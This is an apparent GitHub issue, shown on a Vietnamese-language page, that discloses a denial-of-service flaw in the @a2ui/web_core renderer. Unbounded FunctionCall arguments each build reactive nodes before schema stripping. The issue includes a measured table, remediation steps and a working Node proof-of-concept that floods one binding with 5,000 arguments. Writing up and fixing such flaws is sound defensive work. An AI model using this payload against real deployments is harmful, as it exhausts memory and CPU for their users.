a2ui-project / a2ui-project/a2ui

[BUG]: Unbounded `FunctionCall.args` explode the reactive graph before schema stripping

Đang mở
#2,384 2 bình luận 0 reaction 1 người được giao Được @Varun-S10 nhận Xem trên GitHub
P2 status: first-line-handled status: needs review type: bug
Ngôn ngữ chính
TypeScript
Star
16.4k
Fork
1.3k
Merge trung bình
2 ngày 13 giờ
Pull request đã merge (30 ngày)
134

Mô tả

# Unbounded `FunctionCall.args` explode the reactive graph before schema stripping

Repository: https://github.com/a2ui-project/a2ui
Affected: `@a2ui/web_core` (verified against published npm release 0.10.6)
CWE: CWE-400 (Uncontrolled Resource Consumption)

## Summary

The `FunctionCall` schema types function arguments as `z.record(z.any())` with no count bound, and the data-context resolver iterates the **raw** argument object — before the target function's own Zod schema strips unknown keys — creating one signal, one computed, and one effect per argument. An agent binds a validation condition to `{call: "regex", args: {value:…, pattern:…, j0:…, …, j4999:…}}`; `regex` ignores the junk keys, but the resolver has already built 5,000 reactive nodes for that single condition. Repeated across components this inflates the effect graph (memory and per-change CPU) far beyond what the component count suggests.

## Affected code

- `renderers/web_core/src/v0_9/schema/common-types.ts` — `args: z.record(z.any())` (npm dist `v0_9/schema/common-types.js:25`), no argument-count bound
- `renderers/web_core/src/v0_9/rendering/data-context.ts` — `resolveSignal` iterates `Object.entries(call.args)` raw, i.e. pre-strip, creating a signal + computed + effect per entry (npm dist `v0_9/rendering/data-context.js:146-207`)

## Observed behavior (measured)

Driven through the published package's full pipeline (`MessageProcessor.processMessages` → `ComponentContext` → `GenericBinder` → catalog invoker), one TextField `checks` condition with 5,000 arguments:

| args in binding | bind time | heap growth |
|---|---|---|
| 2 (control) | — | −0.1 MB |
| 5,000 | 117 ms | +5.5 MB |

## Impact

A remote agent can send one spec-valid `updateComponents` message whose single condition carries thousands of arguments; each such binding permanently installs thousands of reactive nodes, scaling memory and every subsequent notification cost by args × components. Availability only.

## Suggested remediation

- Bound the argument count in `FunctionCallSchema` (e.g. reject records with more than N keys).
- Schema-parse (and thereby strip) the arguments **before** `resolveSignal` iterates them, so only keys the target function declares produce reactive nodes.

## PoC

Prerequisites: Node ≥ 20 with `@a2ui/web_core@0.10.6` installed in `node_modules` (e.g. `npm i @a2ui/web_core@0.10.6`), script in the same directory. Run `node poc_f20.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.

```js
// poc_f20.mjs — F-20: reactive-graph explosion via unbounded function-call args.
// resolveSignal iterates Object.entries(call.args) and creates a signal +
// computed + effect per arg BEFORE the catalog invoker Zod-parses (strips) args.
// A malicious server binds a checks condition to
// {call:'regex', args:{ value:{path}, pattern:'x', j0:{path}, ... j4999:{path} }}.
// regex's schema ignores the junk, but resolveSignal builds 5000 arg-signals +
// effects for that one condition. Confirmed if heap grows >3 MB and binding
// took >50 ms (vs a 2-arg control).
import {
MessageProcessor, ComponentContext, GenericBinder, Catalog,
} from '@a2ui/web_core/v0_9';
import { TextFieldApi, ColumnApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';

const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';

async function measure(nArgs) {
const catalog = new Catalog(CATALOG_ID, [ColumnApi, TextFieldApi], createBasicCatalogFunctions());
const processor = new MessageProcessor([catalog]);
// build condition args
const args = { value: { path: '/n' }, pattern: 'x' };
for (let i = 0; i < nArgs; i++) args[`j${i}`] = { path: '/n' };
processor.processMessages([
{ version: 'v0.9', createSurface: { surfaceId: 'poc', catalogId: CATALOG_ID } },
{ version: 'v0.9', updateDataModel: { surfaceId: 'poc', path: '/n', value: 0 } },
{
version: 'v0.9', updateComponents: { surfaceId: 'poc', components: [
{ id: 'root', component: 'Column', children: ['tf'] },
{ id: 'tf', component: 'TextField', label: 'N', value: { path: '/n' },
checks: [{ condition: { call: 'regex', args }, message: 'bad' }] },
] },
},
]);
const surface = processor.model.getSurface('poc');
const before = process.memoryUsage().heapUsed;
const t0 = Date.now();
const ctx = new ComponentContext(surface, 'tf');
const binder = new GenericBinder(ctx, TextFieldApi.schema);
const sub = binder.subscribe(() => {});
await new Promise(r => setTimeout(r, 100));
const ms = Date.now() - t0;
const after = process.memoryUsage().heapUsed;
sub.unsubscribe(); binder.dispose(); surface.dispose();
return { ms, grewMB: +((after - before) / 1048576).toFixed(1) };
}

const ctrl = await measure(0);
const big = await measure(5000);
const ok = big.grewMB > 3 && big.ms > 50 && big.grewMB > ctrl.grewMB + 3;
console.log(JSON.stringify({
finding: 'F-20-functioncall-args-reactive-explosion',
control_2args: ctrl,
with_5000_args: big,
confirmed: ok,
}, null, 2));
process.exit(ok ? 0 : 1);
```

Hướng dẫn đóng góp

Mở hướng dẫn đóng góp

Đánh giá

Issue này chưa được đánh giá.

Nhận issue mới trong hộp thư của bạn

Bản tóm tắt ngắn những issue GitHub phù hợp với người mới.